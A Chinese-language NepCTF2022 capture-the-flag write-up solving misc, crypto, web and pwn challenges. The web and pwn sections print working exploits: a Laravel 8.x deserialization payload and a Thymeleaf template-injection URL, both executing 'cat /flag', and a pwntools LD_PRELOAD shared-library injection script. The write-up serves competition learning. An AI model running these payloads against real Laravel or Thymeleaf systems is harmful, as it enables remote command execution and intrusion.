NepCTF2022 Writeup

2022-7-17 CTFWriteupWebMiscCryptoPwnNepCTF2022

打了48小时,最终排名第6,逐渐被逼成全栈手了(bushi

# Misc

# 签到题

极限套娃

flag格式为nepctf{}

用010editor打开jpg,发现文件末有个zip包,另存为zip,该zip里面仍然有zip,但文件名为数字且减1,之后也是如此,用python写个脚本解压得到最后的压缩包

import zipfile

count = 230
while count>0:
    path = str(count) + '.zip'
    folder_abs = '.'

    zip_file = zipfile.ZipFile(path)
    zip_list = zip_file.namelist()

    for f in zip_list:
        zip_file.extract(f, folder_abs)
     
    zip_file.close()
    count -= 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

最后得到1.zip文件,zip伪加密,用binwalk提取

binwalk -e 1.zip
1

得到里面的流量包,参考:CTF—MISC—USB键盘流量分析 - 走看看 (zoukankan.com) (opens new window)

提取流量数据

tshark -T json -r keyboard.pcap > usb.json
1

对提取出来的所有usbhid.data转化生成敲击内容

#!/usr/bin/env python
# -*- coding:utf-8 -*-

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"  ","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"   ","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()

flag=0
# print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
# print ('output :' + "".join(output))
print("".join(output).replace("<SPACE>", " "))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
nepctf{welcometonepctf2nd}<RET>
1

提交后发现不对,补上_尝试后flag为

nepctf{welcome_to_nepctf_2nd}
1

# 花花画画画花花

花花画了一张图,你能看出来她画的是什么吗

(flag格式为NepCTF{})

去osu!官网下载安装包,然后导入谱面,记录下flag即可

NepCTF{MASTER_OF_坏女人!}
1

# 少见的bbbbase

少见的bbbbase

用jphs05打开jpg,点击seek找到了隐藏信息

KkYWdvCQcLYewSUUy5TtQc9AMa
1

尝试后发现是base58:Base58在线编码解码-ME2在线工具 (metools.info) (opens new window)

flag{Real_qiandao~}
1

# 馅饼?陷阱!

好兄弟中奖了,但是要先汇款。他去哪了?

NepCTF{银行官网网址}

其中东北饺子城如家酒店作为商业场所,是可以在地图上搜到的,但范围太广。其中Clue_2.png的右下角的车牌有字,优先搜索海南省。搜索"东北饺子城",加双引号是为了完全匹配搜索词,最后找到海南三亚:三亚市区解放二路新风街43号,东北饺子城的地址 - 三亚地图 (city8.com) (opens new window)

搜索中国光大银行的官网,即可得到flag

NepCTF{www.cebbank.com}
1

# 9点直播

NepCTF{bad_woman_nb!}
1

# 问卷

NepCTF{see_you_NepCTF_2023}
1

# Web

# Just Kidding

顽皮的HRP用Laravel写了个项目来欢迎大伙来玩Nepctf 2nd,没想到…居然被坏蛋Sharun撅了

访问/www.zip得到网站源码,存在反序列化

<?php

namespace App\Http\Controllers;

class HelloController extends Controller
{
    public function hello(\Illuminate\Http\Request $request){
        $h3 = base64_decode($request->input("h3"));
        unserialize($h3);
        return "Welcome Nepctf! GL&HF";
    }
}
1
2
3
4
5
6
7
8
9
10
11
12

参考:最新Laravel(8.x)反序列化漏洞 - 先知社区 (aliyun.com) (opens new window),使用工具:anyserial: 一个PHP的反序列化工具 (gitee.com) (opens new window),生成payload

php anyserial.php laravel 8.x "cat /flag" -e base64
1
TzozMzoiSWxsdW1pbmF0ZVxUZXN0aW5nXFBlbmRpbmdDb21tYW5kIjo0OntzOjQ6InRlc3QiO086MjU6IlRlc3RzXEZlYXR1cmVcRXhhbXBsZVRlc3QiOjE6e3M6MTQ6ImV4cGVjdGVkT3V0cHV0IjthOjE6e3M6NjoiNHV0MTVtIjtzOjExOiJpcyBoYW5kc29tZSI7fX1zOjY6IgAqAGFwcCI7TzozMDoiSWxsdW1pbmF0ZVxDb250YWluZXJcQ29udGFpbmVyIjo0OntzOjExOiIAKgBiaW5kaW5ncyI7YToxOntzOjY6IjRueTBuZSI7YToxOntzOjg6ImNvbmNyZXRlIjtzOjY6IjR1dDE1bSI7fX1zOjEyOiIAKgBpbnN0YW5jZXMiO2E6MTp7czo2OiI0dXQxNW0iO3M6OToiY2F0IC9mbGFnIjt9czoxMDoiACoAYWxpYXNlcyI7YToxOntzOjM1OiJJbGx1bWluYXRlXENvbnRyYWN0c1xDb25zb2xlXEtlcm5lbCI7czo2OiI0bnkwbmUiO31zOjEyOiIAKgBleHRlbmRlcnMiO2E6MTp7czo2OiI0bnkwbmUiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjEzOiIAKgBwYXJhbWV0ZXJzIjthOjA6e31zOjE0OiIAKgBoYXNFeGVjdXRlZCI7YjowO30=
1

使用python,访问/hello,传参h3

import requests

url = "http://bc0edf60-b062-486b-a8a4-1dbcd93f88c0.nep.lemonprefect.cn:81/hello?h3=TzozMzoiSWxsdW1pbmF0ZVxUZXN0aW5nXFBlbmRpbmdDb21tYW5kIjo0OntzOjQ6InRlc3QiO086MjU6IlRlc3RzXEZlYXR1cmVcRXhhbXBsZVRlc3QiOjE6e3M6MTQ6ImV4cGVjdGVkT3V0cHV0IjthOjE6e3M6NjoiNHV0MTVtIjtzOjExOiJpcyBoYW5kc29tZSI7fX1zOjY6IgAqAGFwcCI7TzozMDoiSWxsdW1pbmF0ZVxDb250YWluZXJcQ29udGFpbmVyIjo0OntzOjExOiIAKgBiaW5kaW5ncyI7YToxOntzOjY6IjRueTBuZSI7YToxOntzOjg6ImNvbmNyZXRlIjtzOjY6IjR1dDE1bSI7fX1zOjEyOiIAKgBpbnN0YW5jZXMiO2E6MTp7czo2OiI0dXQxNW0iO3M6OToiY2F0IC9mbGFnIjt9czoxMDoiACoAYWxpYXNlcyI7YToxOntzOjM1OiJJbGx1bWluYXRlXENvbnRyYWN0c1xDb25zb2xlXEtlcm5lbCI7czo2OiI0bnkwbmUiO31zOjEyOiIAKgBleHRlbmRlcnMiO2E6MTp7czo2OiI0bnkwbmUiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjEzOiIAKgBwYXJhbWV0ZXJzIjthOjA6e31zOjE0OiIAKgBoYXNFeGVjdXRlZCI7YjowO30="
r = requests.get(url)
print(r.text)
1
2
3
4
5

NepCTF{34a94788-12c5-437e-9b50-4ef88c344089}
1

# Challenger

顽皮的HRP又换了种语言写项目来欢迎大家,没想到又让Sharun掘了😭

(flag在根目录下: /flag)

用jadx打开下载下来的jar包,

访问

/eval?lang=ls
1

返回

Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.

Fri Jul 15 08:41:55 UTC 2022
There was an unexpected error (type=Internal Server Error, status=500).
Error resolving template [user/ls/welcome], template might not exist or might not be accessible by any of the configured Template Resolvers
1
2
3
4
5
6

根据报错可以知道这是模板页不存在,同时jar包里引用了thymeleaf,猜测可能是thymeleaf模板注入

找到这篇文章:Thymeleaf模板注入导致命令执行漏洞分析 - FreeBuf网络安全行业门户 (opens new window),修改得到读取flag的payload

/eval?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat%20/flag").getInputStream()).next()%7d__::
1

NepCTF{a823b9c6-9aa2-42be-aa6a-f2a5425dbb52}
1

# Crypto

# signin

本题flag格式: NepCTF{xxx}

Have you heard of the Chinese Remainder Theorem?

from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import powmod,is_prime,invert,bit_length, next_prime

from FLAG import flag


def gen_key():
    (p,q,n,e,d) = (0 for _ in range(5))

    p = getStrongPrime(1024)
    q = next_prime(p)

#     q = p + 1
#     while(True):
#         q += 2 if q & 1 else 1
#         if is_prime(q, 30):
#             break

    n = p*q
    e = 0x10001
    d = invert(e, (p-1)*(q-1))
    par = (p,q,n,e,d)

    return par


def leak(par, c):
    assert len(par) == 5
    (p,q,n,e,d) = par

    print("Here's something for you.")
    print("n =",n)
    print("e =",e)
    print("c_mod_p =",c % p)
    print("c_mod_q =",c % q)


def enc(message, par):
    assert len(par) == 5
    (p,q,n,e,d) = par

    m = bytes_to_long(message)

    c = powmod(m,e,n)
    return c


if __name__ == '__main__':
    par = gen_key()
    c = enc(flag, par)
    leak(par, c)

"""
Here's something for you.
n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791
e = 65537
c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816
c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

p和q为相邻质数,使用yafu分解即可

使用中国剩余定理解出密文c:孙子定理_百度百科 (baidu.com) (opens new window)

import gmpy2
import libnum

n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791
e = 65537
c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816
c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922

# yafu分解得到p和q
p = 141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202901
q = 141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202891

# 中国剩余定理
t1 = pow(p, -1, q)
t2 = pow(q, -1, p)
c = (c_mod_p*t1*p + c_mod_q*t2*q) % n

phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
b'NepCTF{ju5t_d0_f4ct_4nd_crt_th3n_d3crypt}'
1

# 中学数学

本题flag格式: flag{xxx}

Zuni: 听说密码学是小学数学来着?

// 随缘评:真的吗

from gmpy2 import *
from Crypto.Util.number import *
from secret import flag
p=getPrime(1024)

q=next_prime(p+(p>>500))

e=0x10001

n=p*q

c=pow(bytes_to_long(flag),e,n)

print("n=",n)
print("c=",c)

'''
n= 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507

c= 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186
'''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

,已知 ,则 ,即

,则 ,所以

由此可得: ,则

经过测试发现 并不大,直接爆破即可

from Crypto.Util.number import *
import gmpy2

e = 0x10001
n = 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507
c = 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186

sn = gmpy2.iroot(n, 2)[0]>>500
for k in range(10000000):
    roots = gmpy2.iroot(pow(sn-k, 2)+4*n, 2)
    if roots[1]:
        p = (k-sn+roots[0])//2
        if isPrime(p):
            print(p)
            q = n//p
            d = gmpy2.invert(e, (p-1)*(q-1))
            m = pow(c, d, n)
            print(long_to_bytes(int(m)))
            break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
117374101720892014802773132009595684550070475491812959407700503409964134408139790074777009067182443277766119990724185784535299405313567262727445965171074427891089886767667348073044876487630536209840494632852807000951512126317010773423294553929289375585831391437922887752426888245829185481732564145862194694837
b'flag{never_ignore_basic_math}'
1
2

# Pwn

# injection

H3h3QAQ: “达咩,达咩,不可以再注入了,满了”

参考:

清华校赛THUCTF2019 之 固若金汤 | Clang裁缝店 (xuanxuanblingbling.github.io) (opens new window)

linux下的动态库注入_Fireplusplus的博客-CSDN博客_linux动态库注入 (opens new window)

利用echo -e 可以写入二进制数据,LD_PRELOAD可以指定二进制文件的so库,也就是说可以把程序的同一个函数给替换成我们写的函数,这样就能执行命令

import os
from pwn import *

io = remote("nep.lemonprefect.cn",32638)

code = '''
#include <stdio.h>
#include<stdlib.h>
#include <sys/stat.h>
int getchar(){
    chmod("flag",777);
    printf("[+] from server\\n");
}
'''

a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc -shared -fPIC exp.c -o exp.so")
b = open("./exp.so").read().encode("hex")

c = ""
for i in range(0,len(b),2):
	c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp'
print("[+] length: " + hex(len(payload)))

io.sendline(payload)
io.sendline("LD_PRELOAD=$PWD/exp /bin/sh")
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

NepCTF{9b3964b2-db51-42a9-a9cd-170dc708b527}
1

# 全栈手

阿毛给了H3一个C4炸弹,啪的一下很快啊,这个网站被炸了好几个洞

tips:本题目不提供附件

tips:附件通过源码泄露获取

这题是非预期,访问/www.zip,有个zip文件,保存下来

import requests

url = "http://nep.lemonprefect.cn:27287/www.zip"
r = requests.get(url)
with open("www.zip", "wb") as f:
    f.write(r.content)
1
2
3
4
5
6

而访问index.html的时候会暂停一会然后才跳转到login.html,在www.zip里的flag.sh中,可以知道flag在/root/flag

burpsuite抓包,尝试目录穿越,得到一串字符串

U2FsdGVkX1+7vDHNTOTak+SY6A0npJUn6BQ5jg3JO/OSkDGp2ce32MHxHnj8iSXe
wpm33oTogtN0QGJVdNA=
1
2

base64解码后看到开头是salted,知道是某种加密,在www.zip中搜索key,可以知道是RC4,同时得到密钥:NEPNEP

在线网站解密:在线RC4加密 | RC4解密- 在线工具 (sojson.com) (opens new window),拿到flag

NepCTF{congratulation_Kn0W_yO5_are_fu11_STaCk}
1